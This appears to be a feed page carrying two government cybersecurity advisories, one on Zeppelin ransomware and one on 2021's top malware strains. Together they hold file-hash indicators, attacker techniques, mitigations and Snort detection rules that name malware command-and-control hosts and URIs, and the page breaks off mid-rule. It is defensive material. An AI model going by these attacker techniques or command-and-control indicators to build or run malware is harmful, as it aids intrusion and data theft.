    Original release date: August 11, 2022SummaryActions to take today to mitigate cyber threats from ransomware: • Prioritize remediating known exploited vulnerabilities. • Train users to recognize and report phishing attempts. • Enable and enforce multifactor authentication. Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Zeppelin ransomware IOCs and TTPs associated with ransomware variants identified through FBI investigations as recently as 21 June 2022. The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Download the PDF version of this report: pdf, 999 kb Download the YARA signature for Zeppelin: YARA Signature, .yar 125 kb Download the IOCs: .stix 113 kb Technical DetailsNote: this advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. Zeppelin ransomware is a derivative of the Delphi-based Vega malware family and functions as a Ransomware as a Service (RaaS). From 2019 through at least June 2022, actors have used this malware to target a wide range of businesses and critical infrastructure organizations, including defense contractors, educational institutions, manufacturers, technology companies, and especially organizations in the healthcare and medical industries. Zeppelin actors have been known to request ransom payments in Bitcoin, with initial amounts ranging from several thousand dollars to over a million dollars. Zeppelin actors gain access to victim networks via RDP exploitation [T1133], exploiting SonicWall firewall vulnerabilities [T1190], and phishing campaigns [T1566]. Prior to deploying Zeppelin ransomware, actors spend one to two weeks mapping or enumerating the victim network to identify data enclaves, including cloud storage and network backups [TA0007]. Zeppelin actors can deploy Zeppelin ransomware as a .dll or .exe file or contained within a PowerShell loader. [1]  Prior to encryption, Zeppelin actors exfiltrate [TA0010] sensitive company data files to sell or publish in the event the victim refuses to pay the ransom. Once the ransomware is executed, a randomized nine-digit hexadecimal number is appended to each encrypted file as a file extension, e.g., file.txt.txt.C59-E0C-929 [T1486]. A note file with a ransom note is left on compromised systems, frequently on the desktop (see figure 1 below).     The FBI has observed instances where Zeppelin actors executed their malware multiple times within a victim’s network, resulting in the creation of different IDs or file extensions, for each instance of an attack; this results in the victim needing several unique decryption keys.   Indicators of Compromise (IOC) See table 1 below for IOCs as of June 2022 obtained from FBI incident response investigations. MD5 SHA1  SHA256 981526650af8d6f8f20177a26abb513a 4fee2cb5c98abbe556e9c7ccfebe9df4f8cde53f 001938ed01bfde6b100927ff8199c65d1bff30381b80b846f2e3fe5a0d2df21d c25d45e9bbfea29cb6d9ee0d9bf2864d eaeff8d315cca71e997063a2baec5cc73fad9453 a42185d506e08160cb96c81801fbe173fb071f4a2f284830580541e057f4423b 183b6b0c90c1e0276a2015752344a4cf 1cb5e8132302b420af9b1e5f333c507d8b2a2441 aa7e2d63fc991990958dfb795a0aed254149f185f403231eaebe35147f4b5ebe 9349e1cc3de7c7f6893a21bd6c3c4a6b db398e38ee6221df7e4aa49d8f96799cca4d87e1 a2a9385cbbcfacc2d541f5bd92c38b0376b15002901b2fd1cc62859e161a8037 c8f75487d0d496a3746e6c81a5ecc6dc 4b91a91a98a2f0128c80f8ceeef0f5d293adf0cd 54d567812eca7fc5f2ff566e7fb8a93618b6d2357ce71776238e0b94d55172b1 477eedb422041385e59a4fff72cb97c1 9892cc90e6712d3548e45f34f14f362bccedf0be fb59f163a2372d09cd0fc75341d3972fdd3087d2d507961303656b1d791b17c6 5841ef35aaff08bb03d25e5afe3856a2 ffd228b0d7afe7cab4e9734f7093e7ba01c5a06e 1e3c5a0aa079f8dfcc49cdca82891ab78d016a919d9810120b79c5deb332f388 d6c4b253ab1d169cf312fec12cc9a28f 0f47c279fea1423c7a0e7bc967d9ff3fae7a0de8 347f14497df4df73bc414f4e852c5490b12db991a4b3811712bac7476a3f1bc9 fba7180ad49d6a7f3c60c890e2784704 f561f9e3c949fe87f12dbfa166ffb2eb85712419 7d8c4c742689c097ac861fcbf7734709fd7dcab1f7ef2ceffb4b0b7dec109f55 bc6c991941d9afbd522fa0a2a248a97a a243ce234fc8294e2e2e526418b4eaadc2d6c84f 37c320983ae4c1fd0897736a53e5b0481edb1d1d91b366f047aa024b0fc0a86e f3490951ae51922cb360a3d76a670159 e2cb60be111716e32db7ca2365ad6e73c30f0e21 894b03ed203cfa712a28ec472efec0ca9a55d6058115970fe7d1697a3ddb0072 e4f1f05c2e6c3fc2f3336a8c8799ffb4 dbd9fcf2b05e703d34181c46f4c22392b9fcc1da 307877881957a297e41d75c84e9a965f1cd07ac9d026314dcaff55c4da23d03e aa2048271f0aef3383480ce4a7c93b52 512b16ea74027fa4d0055831de5e51278812c8de bafd3434f3ba5bb9685e239762281d4c7504de7e0cfd9d6394e4a85b4882ff5d f66b738e1bfe1f8aab510abed850c424 571f50fee0acad1da39fe06c75116461800cc719 faa79c796c27b11c4f007023e50509662eac4bca99a71b26a9122c260abfb3c6 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51104215a618a5f56ad9c884d6832f79 801580a46f9759ceeeebbce419d879e2ed6943fe 26ec12b63c0e4e60d839aea592c4b5dcff853589b53626e1dbf8c656f4ee6c64 73627cbe2ba139e2ec26889a4e8d6284 1116dc35993fce8118e1e5421000a70b6777433f 37efe10b04090995e2f3d9f932c3653b27a65fc76811fa583934a725d41a6b08 935f54b6609c5339001579e96dc34244 a809327d39fab61bfcfac0c97b1d4b3bfb9a2cfe a5847867730e7849117c31cdae8bb0a25004635d49f366fbfaebce034d865d7d ba681db97f283c2e784d9bb4969b1f5a 5d28acf52f399793e82ec7e79da47d372d9175d7 e61edbddf9aed8a52e9be1165a0440f1b6e9943ae634148df0d0517a0cf2db13 c1ab7b68262b5ab31c45327e7138fd25 b8c74327831e460d2b2a8eb7e68ee68938779d8d 746f0c02c832b079aec221c04d2a4eb790287f6d10d39b95595a7df4086f457f f818938b987236cdd41195796b4c1fb5 bfed40f050175935277c802cbbbce132f44c06ec b191a004b6d8a706aba82a2d1052bcb7bed0c286a0a6e4e0c4723f073af52e7c 0a1cd4efda7543cec406a6822418daf6 af4f8d889d6a2049e7a379ea197f8cd361feb074 614cb70659ef5bb2f641f09785adc4ab5873e0564a5303252d3c141a899253b2 d7d3d23a5e796be844af443bda5cd67e a9771c591f6ccc2f3419d571c64ab93228785771 85f9bf4d07bc2ac1891e367f077dd513d6ca07705bffd1b648d32a7b2dc396f5 7ab0676262c681b8ec15bdada17d7476 2f1803d444891abb604864d476a8feac0d614f77 353e59e96cbf6ea6c16d06da5579d3815aaaeeefacabd7b35ba31f7b17207c5b 4534f2afe5f7df1d998f37ad4e35afeb e2cc94e471509f9fa58620b8bb56d77f2cfe74b0 e8596675fef4ad8378e4220c22f4358fdb4a20531b59d7df5382c421867520a9 d27125d534e398f1873b7f4835a79f09 1862f063c30cd02cfea6070d3dba41ac5eee2a35 6fbfc8319ed7996761b613c18c8cb6b92a1eaed1555dae6c6b8e2594ac5fa2b9 99d59c862a082b207a868e409ce2d97c 908a9026d61717b5fa29959478a9bd939da9206f 0d22d3d637930e7c26a0f16513ec438243a8a01ea9c9d856acbcda61fcb7b499   MITRE ATT&CK TECHNIQUES  Zeppelin actors use the ATT&CK techniques listed in Table 2. Table 2: Zeppelin Actors Att&ck Techniques for Enterprise Initial Access Technique Title ID Use Exploit External Remote Services T1133 Zeppelin actors exploit RDP to gain access to victim networks. Exploit Public-Facing Application T1190 Zeppelin actors exploit vulnerabilities in internet-facing systems to gain access to systems Phishing T1566 Zeppelin actors have used phishing and spear phishing to gain access to victims' networks. Execution Technique Title ID Use Malicious Link T1204.001 Zeppelin actors trick users to click a malicious link to execute malicious macros. Malicious File Attachment T1204.002 Zeppelin actors trick users to click a malicious attachment disguised as advertisements to execute malicious macros. Persistence Technique Title ID Use Modify System Process T1543.003 Zeppelin actors encrypt Windows Operating functions to preserve compromised system functions. Impact Technique Title ID Use Data Encrypted for Impact T1486 Zeppelin actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.   DETECTION Download the YARA signature for Zeppelin: YARA Signature, .yar 125 kb MitigationsThe FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Zeppelin ransomware: Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies. Use longer passwords consisting of at least 8 characters and no more than 64 characters in length; Store passwords in hashed format using industry-recognized password managers; Add password user “salts” to shared login credentials; Avoid reusing passwords; Implement multiple failed login attempt account lockouts; Disable password “hints”; Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software. Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.  Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching SonicWall firewall vulnerabilities and known exploited vulnerabilities in internet-facing systems. Note: SonicWall maintains a vulnerability list that includes Advisory ID, CVE, and mitigation. Their list can be found at psirt.global.sonicwall.com/vuln-list.  Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.  Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.  Install, regularly update, and enable real time detection for antivirus software on all hosts. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.  Disable unused ports. Consider adding an email banner to emails received from outside your organization. Disable hyperlinks in received emails. Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.  Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.  Maintain offline backups of data, and regularly maintain backup and restoration.  By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.  Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. RESOURCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. REPORTING The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Zeppelin actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI. References [1] What is Zeppelin Ransomware? Steps to Prepare, Respond, and Prevent Infection (coresecurity.com) Revisions August 11, 2022: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-216A: 2021 Top Malware Strains
    by CISA on 4 Agosto 2022 at 6:10 pm

    Original release date: August 4, 2022 | Last revised: August 25, 2022SummaryImmediate Actions You Can Take Now to Protect Against Malware: • Patch all systems and prioritize patching known exploited vulnerabilities. • Enforce multifactor authentication (MFA). • Secure Remote Desktop Protocol (RDP) and other risky services. • Make offline backups of your data. • Provide end-user awareness and training about social engineering and phishing. This joint Cybersecurity Advisory (CSA) was coauthored by the Cybersecurity and Infrastructure Security Agency (CISA) and the Australian Cyber Security Centre (ACSC).This advisory provides details on the top malware strains observed in 2021. Malware, short for “malicious software,” can compromise a system by performing an unauthorized function or process. Malicious cyber actors often use malware to covertly compromise and then gain access to a computer or mobile device. Some examples of malware include viruses, worms, Trojans, ransomware, spyware, and rootkits.[1] In 2021, the top malware strains included remote access Trojans (RATs), banking Trojans, information stealers, and ransomware. Most of the top malware strains have been in use for more than five years with their respective code bases evolving into multiple variations. The most prolific malware users are cyber criminals, who use malware to deliver ransomware or facilitate theft of personal and financial information. CISA and ACSC encourage organizations to apply the recommendations in the Mitigations sections of this joint CSA. These mitigations include applying timely patches to systems, implementing user training, securing Remote Desktop Protocol (RDP), patching all systems especially for known exploited vulnerabilities, making offline backups of data, and enforcing multifactor authentication (MFA). Download the PDF version of this report: pdf, 576 kb Technical DetailsKey Findings The top malware strains of 2021 are: Agent Tesla, AZORult, Formbook, Ursnif, LokiBot, MOUSEISLAND, NanoCore, Qakbot, Remcos, TrickBot and GootLoader. Malicious cyber actors have used Agent Tesla, AZORult, Formbook, LokiBot, NanoCore, Remcos, and TrickBot for at least five years. Malicious cyber actors have used Qakbot and Ursnif for more than a decade. Updates made by malware developers, and reuse of code from these malware strains, contribute to the malware’s longevity and evolution into multiple variations. Malicious actors’ use of known malware strains offers organizations opportunities to better prepare, identify, and mitigate attacks from these known malware strains. The most prolific malware users of the top malware strains are cyber criminals, who use malware to deliver ransomware or facilitate theft of personal and financial information. Qakbot and TrickBot are used to form botnets and are developed and operated by Eurasian cyber criminals known for using or brokering botnet-enabled access to facilitate highly lucrative ransomware attacks. Eurasian cyber criminals enjoy permissive operating environments in Russia and other former Soviet republics. According to U.S. government reporting, TrickBot malware often enables initial access for Conti ransomware, which was used in nearly 450 global ransomware attacks in the first half of 2021. As of 2020, malicious cyber actors have purchased access to systems compromised by TrickBot malware on multiple occasions to conduct cybercrime operations. In 2021, cyber criminals conducted mass phishing campaigns with Formbook, Agent Tesla, and Remcos malware that incorporated COVID-19 pandemic themes to steal personal data and credentials from businesses and individuals. In the criminal malware industry, including malware as a service (MaaS), developers create malware that malware distributors often broker to malware end-users.[2] Developers of these top 2021 malware strains continue to support, improve, and distribute their malware over several years. Malware developers benefit from lucrative cyber operations with low risk of negative consequences. Many malware developers often operate from locations with few legal prohibitions against malware development and deployment. Some developers even market their malware products as legitimate cyber security tools. For example, the developers of Remcos and Agent Tesla have marketed the software as legitimate tools for remote management and penetration testing. Malicious cyber actors can purchase Remcos and Agent Tesla online for low cost and have been observed using both tools for malicious purposes. Top Malware Agent Tesla Overview: Agent Tesla is capable of stealing data from mail clients, web browsers, and File Transfer Protocol (FTP) servers. This malware can also capture screenshots, videos, and Windows clipboard data. It can also lead to credentials and tokens being available on the Dark Web for use by criminal actors. Agent Tesla is available online for purchase under the guise of being a legitimate tool for managing your personal computer. Its developers continue to add new functionality, including obfuscation capabilities and targeting additional applications for credential stealing.[3][4] Active Since: 2014 Malware Type: RAT Delivery Method: Often delivered as a malicious attachment in phishing emails. Resources: See the MITRE ATT&CK page on Agent Tesla. AZORult Overview: AZORult is used to steal information from compromised systems. It has been sold on underground hacker forums for stealing browser data, user credentials, and cryptocurrency information. AZORult’s developers are constantly updating its capabilities.[5][6] Active Since: 2016 Malware Type: Trojan Delivery Method: Phishing, infected websites, exploit kits (automated toolkits exploiting known software vulnerabilities), or via dropper malware that downloads and installs AZORult. Resources: See the MITRE ATT&CK page on AZORult and the Department of Health and Human Services (HHS)’s AZORult brief. FormBook Overview: FormBook is an information stealer advertised in hacking forums. ForrmBook is capable of key logging and capturing browser or email client passwords, but its developers continue to update the malware to exploit the latest Common Vulnerabilities and Exposures (CVS)[7], such as CVE-2021-40444 Microsoft MSHTML Remote Code Execution Vulnerability.[8][9] Active Since: At least 2016 Malware Type: Trojan Delivery Method: Usually delivered as an attachment in phishing emails. Resources: See Department of Health and Human Services (HHS)’s Sector Note on Formbook Malware Phishing Campaigns. Ursnif Overview: Ursnif is a banking Trojan that steals financial information. Also known as Gozi, Ursnif has evolved over the years to include a persistence mechanism, methods to avoid sandboxes and virtual machines, and search capability for disk encryption software to attempt key extraction for unencrypting files.[10][11][12] Based on information from trusted third parties, Ursnif infrastructure is still active as of July 2022. Active Since: 2007 Malware Type: Trojan Delivery Method: Usually delivered as a malicious attachment to phishing emails. Resources: See the MITRE ATT&CK page on Ursnif. LokiBot Overview: LokiBot is a Trojan malware for stealing sensitive information, including user credentials, cryptocurrency wallets, and other credentials. A 2020 LokiBot variant was disguised as a launcher for the Fortnite multiplayer video game.[13][14] Active Since: 2015 Malware Type: Trojan Delivery Method: Usually delivered as a malicious email attachment. Resources: See CISA’s LokiBot Malware alert and the MITRE ATT&CK page on LokiBot. MOUSEISLAND Overview: MOUSEISLAND is usually found within the embedded macros of a Microsoft Word document and can download other payloads. MOUSEISLAND may be the initial phase of a ransomware attack.[15] Active Since: At least 2019 Malware Type: Macro downloader Delivery Method: Usually distributed as an email attachment. Resources: See Mandiant’s blog discussing MOUSEISLAND. NanoCore Overview: NanoCore is used for stealing victims’ information, including passwords and emails. NanoCore could also allow malicious users to activate computers’ webcams to spy on victims. Malware developers continue to develop additional capabilities as plug-ins available for purchase or as a malware kit or shared amongst malicious cyber actors.[16][17][18] Active Since: 2013 Malware Type: RAT Delivery Method: Has been delivered in an email as an ISO disk image within malicious ZIP files; also found in malicious PDF documents hosted on cloud storage services. Resources: See the MITRE ATT&CK page on NanoCore and the HHS Sector Note: Remote Access Trojan Nanocore Poses Risk to HPH Sector. Qakbot Overview: Originally observed as a banking Trojan, Qakbot has evolved in its capabilities to include performing reconnaissance, moving laterally, gathering and exfiltrating data, and delivering payloads. Also known as QBot or Pinksliplot, Qakbot is modular in nature enabling malicious cyber actors to configure it to their needs. Qakbot can also be used to form botnets.[19][20] Active Since: 2007 Malware Type: Trojan Delivery Method: May be delivered via email as malicious attachments, hyperlinks, or embedded images. Resources: See the MITRE ATT&CK page on Qakbot and the Department of Health and Human Services (HHS) Qbot/Qakbot Malware brief. Remcos Overview: Remcos is marketed as a legitimate software tool for remote management and penetration testing. Remcos, short for Remote Control and Surveillance, was leveraged by malicious cyber actors conducting mass phishing campaigns during the COVID-19 pandemic to steal personal data and credentials. Remcos installs a backdoor onto a target system. Malicious cyber actors then use the Remcos backdoor to issue commands and gain administrator privileges while bypassing antivirus products, maintaining persistence, and running as legitimate processes by injecting itself into Windows processes.[21][22] Active Since: 2016 Malware Type: RAT Delivery Method: Usually delivered in phishing emails as a malicious attachment. Resources: See the MITRE ATT&CK page on Remcos. TrickBot Overview: TrickBot malware is often used to form botnets or enable initial access for the Conti ransomware or Ryuk banking trojan. TrickBot is developed and operated by a sophisticated group of malicious cyber actors and has evolved into a highly modular, multi-stage malware. In 2020, cyber criminals used TrickBot to target the Healthcare and Public Health (HPH) Sector and then launch ransomware attacks, exfiltrate data, or disrupt healthcare services. Based on information from trusted third parties, TrickBot’s infrastructure is still active in July 2022.[23][24][25][26] Active Since: 2016 Malware Type: Trojan Delivery Method: Usually delivered via email as a hyperlink. Resources: See the MITRE ATT&CK page on Trickbot and the Joint CSA on TrickBot Malware. GootLoader Overview: GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first stage of a system compromise. By leveraging search engine poisoning, GootLoader’s developers may compromise or create websites that rank highly in search engine results, such as Google search results.[27] Active Since: At least 2020 Malware Type: Loader Delivery Method: Malicious files available for download on compromised websites that rank high as search engine results. Resources: See New Jersey’s Cybersecurity & Communications Integration Cell (NJCCIC) page on GootLooader and BlackBerry’s Blog on GootLoader. MitigationsBelow are the steps that CISA and ACSC recommend organizations take to improve their cybersecurity posture based on known adversary tactics, techniques, and procedures (TTPs). CISA and ACSC urge critical infrastructure organizations to prepare for and mitigate potential cyber threats immediately by (1) updating software, (2) enforcing MFA, (3) securing and monitoring RDP and other potentially risky services, (4) making offline backups of your data, and (5) providing end-user awareness and training. Update software, including operating systems, applications, and firmware, on IT network assets. Prioritize patching known exploited vulnerabilitiesand critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. Consider using a centralized patch management system. Consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats. CISA’s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities. Enforce MFA to the greatest extent possible and require accounts with password logins, including service accounts, to have strong passwords. Do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access. Additionally, ACSC has issued guidance on implementing multifactor authentication for hardening authentication systems. If you use RDP and/or other potentially risky services, secure and monitor them closely. RDP exploitation is one of the top initial infection vectors for ransomware, and risky services, including RDP, can allow unauthorized access to your session using an on-path attacker. Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN) or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force attempts, log RDP login attempts, and disable unused remote access/RDP ports. Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). Maintain offline (i.e., physically disconnected) backups of data. Backup procedures should be conducted on a frequent, regular basis (at a minimum every 90 days). Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware. Ensure the backup keys are kept offline as well, to prevent them being encrypted in a ransomware incident. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure with a particular focus on key data assets. Provide end-user awareness and training to help prevent successful targeted social engineering and spearphishing campaigns. Phishing is one of the top infection vectors for ransomware. Ensure that employees are aware of potential cyber threats and delivery methods. Ensure that employees are aware of what to do and whom to contact when they receive a suspected phishing email or suspect a cyber incident. As part of a longer-term effort, implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent the spread of ransomware and threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. The ACSC has observed ransomware and data theft incidents in which Australian divisions of multinational companies were impacted by ransomware incidents affecting assets maintained and hosted by offshore divisions outside their control. RESOURCES For alerts on malicious and criminal cyber activity, see the FBI Internet Crime Complaint Center webpage. For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, U.S. Government webpage providing ransomware resources and alerts. The ACSC recommends organizations implement eight essential mitigation strategies from the ACSC’s Strategies to Mitigate Cyber Security Incidents as a cybersecurity baseline. These strategies, known as the “Essential Eight,” make it much harder for adversaries to compromise systems. Refer to the ACSC’s practical guides on how to protect yourself against ransomware attacks and what to do if you are held at ransom at cyber.gov.au. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA and ACSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. APPENDIX: SNORT SIGNATURES FOR THE TOP 2021 MALWARE Malware Snort Detection Signature Agent Tesla alert any any -> any any (msg:”HTTP GET request /aw/aw.exe”; flow:established,to_server; sid:1; rev:1; content:”GET”; http_method; content:”/aw/aw.exe”; http_uri; reference:url, https://www.datto.com/blog/what-is-agent-tesla-spyware-and-how-does-it-work; metadata:service http;) AZORult alert tcp any any -> any any (msg:"HTTP Server Content Data contains 'llehS|2e|tpircSW'"; sid:1; rev:1; flow:established,from_server; file_data; content:"llehS|2e|tpircSW"; nocase; fast_pattern:only; pcre:"/GCM(?:\x20|%20)\*W-O\*/i"; reference:url,maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/; metadata:service http;) AZORult alert tcp any any -> any any (msg:"HTTP POST Client Body contains 'J/|fb|' and '/|fb|'"; sid:1; rev:1; flow:established,to_server; content:"POST"; http_method; content:".php"; http_uri; content:"J/|fb|"; http_client_body; fast_pattern; content:"/|fb|"; http_client_body; depth:11; content:!"Referer|3a 20|"; http_header; metadata:service http;) FormBook alert tcp any any -> any any (msg:"HTTP URI POST contains '&sql=1' at the end"; sid:1; rev:1; flow:established,to_server; content:"&sql=1"; http_uri; fast_pattern:only; content:"POST"; http_method; pcre:"/(?(DEFINE)(?'b64std'[a-zA-Z0-9+\/=]+?))(?(DEFINE)(?'b64url'[a-zA-Z0-9_-]+?))^\/[a-z0-9]{3,4}\/\?(?P>b64url){3,8}=(?P>b64std){40,90}&(?P>b64url){2,6}=(?P>b64url){4,11}&sql=1$/iU"; reference:url,www.malware-traffic-analysis.net/2018/02/16/index.html; metadata:service http;) alert tcp any any -> any any (msg:"HTTP URI GET/POST contains '/list/hx28/config.php?id='"; sid:1; rev:1; flow:established,to_server; content:"/list/hx28/config.php?id="; http_uri; fast_pattern:only; content:"Connection|3a 20|close|0d 0a|"; http_header; reference:url,www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html; metadata:service http;) Ursnif alert tcp any any -> any any (msg:"HTTP POST Data contains .bin filename, long URI contains '/images/'"; sid:1; rev:1; flow:established,to_server;  urilen:>60,norm; content:"/images/"; http_uri; depth:8; content:"POST"; nocase; http_method; content:"Content-Disposition|3a 20|form-data|3b 20|name=|22|upload_file|22 3b 20|filename=|22|"; http_client_body; content:"|2e|bin|22 0d 0a|"; http_client_body; distance:1; within:32; fast_pattern;  reference:url,www.broadanalysis.com/2016/03/23/angler-ek-sends-data-stealing-payload/; metadata:service http;) alert tcp any any -> any any (msg:"HTTP URI GET/POST contains '/images/' plus random sub directories and an Image File (Ursnif)"; sid:1; rev:1; flow:established,to_server;  content:"/images/"; http_uri; fast_pattern:only; content:!"Host: www.urlquery.net"; http_header; pcre:"/\/images(\/(?=[a-z0-9\_]{0,22}[A-Z][a-z0-9\_]{0,22}[A-Z])(?=[A-Z0-9\_]{0,22}[a-z])[A-Za-z0-9\_]{1,24}){5,20}\/[a-zA-Z0-9\_]+\.(?:gif|jpeg|jpg|bmp)$/U"; metadata:service http) LokiBot alert tcp any any -> any any (msg:"HTTP Client Header contains 'User-Agent|3a 20|Mozilla/4.08 (Charon|3b| Inferno)'"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Mozilla/4.08 (Charon|3b| Inferno)|0d 0a|"; http_header; fast_pattern:only; metadata:service http; ) LokiBot alert tcp any any -> any any (msg:"HTTP URI POST contains '/*/fre.php' post-infection"; sid:1; rev:1; flow:established,to_server; content:"/fre.php"; http_uri; fast_pattern:only; urilen:<50,norm; content:"POST"; nocase; http_method; pcre:"/\/(?:alien|loky\d|donep|jemp|lokey|new2|loki|Charles|sev7n|dbwork|scroll\/NW|wrk|job|five\d?|donemy|animation\dkc|love|Masky|v\d|lifetn|Ben)\/fre\.php$/iU"; metadata:service http;) LokiBot alert tcp any any -> any any (msg:"HTTP URI POST contains '/w.php/'"; sid:1; rev:1; flow:established,to_server; content:"/w.php/"; http_uri; fast_pattern:only; content:"POST"; nocase; http_method; pcre:"/\/\w+\/w\.php\/[a-z]{13}$/iU";  metadata:service http;) MOUSEISLAND alert tcp any any -> any any (msg:"HTTP URI GET contains '/assets/<8-80 hex>/<4-16 alnum>?<3-6 alnum>='"; sid:9206287; rev:1; flow:established,to_server; content:"/assets/"; http_uri; fast_pattern:only; content:"HTTP/1.1|0d 0a|"; depth:256; content:!"|0d 0a|Cookie:"; content:!"|0d 0a|Referer:"; pcre:"/\/assets\/[a-fA-F0-9/]{8,80}\/[a-zA-Z0-9]{4,16}\?[a-z0-9]{3,6}=/U";  metadata:service http;) NanoCore alert tcp any any -> any 25 (msg:"SMTP Attachment Filename 'Packinglist-Invoice101.pps'"; sid:1; rev:1; flow:established,to_server,only_stream; content:"Content-Disposition|3a 20|attachment|3b|"; content:"Packinglist-Invoice101.pps"; nocase; distance:0; fast_pattern; pcre:"/Content-Disposition\x3a\x20attachment\x3b[\x20\t\r\n]+?(?:file)*?name=\x22*?Packinglist-Invoice101\.pps\x22*?/im"; reference:cve,2014-4114; reference:msb,MS14-060; reference:url,researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/; reference:url,www.fidelissecurity.com/sites/default/files/FTA_1017_Phishing_in_Plain_Sight-Body-FINAL.pdf; reference:url,www.fidelissecurity.com/sites/default/files/FTA_1017_Phishing_in_Plain_Sight-Appendix-FINAL.pdf;) NanoCore alert tcp any any -> any any (msg:"HTTP Client Header contains 'Host|3a 20|frankief hopto me' (GenericKD/Kazy/NanoCore/Recam)"; sid:1; rev:1; flow:established,to_server; content:"Host|3a 20|frankief|2e|hopto|2e|me|0d 0a|"; http_header; fast_pattern:only;  metadata:service http;) NanoCore alert tcp any any -> any any (msg:"HTTP GET URI contains 'FAD00979338'"; sid:1; rev:1; flow:established,to_server; content:"GET"; http_method; content:"getPluginName.php?PluginID=FAD00979338"; fast_pattern; http_uri; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP URI GET /t?v=2&c= (Qakbot)"; sid:1; rev:1; flow:established,to_server; content:"/t?v=2&c="; http_uri; depth:9; fast_pattern; 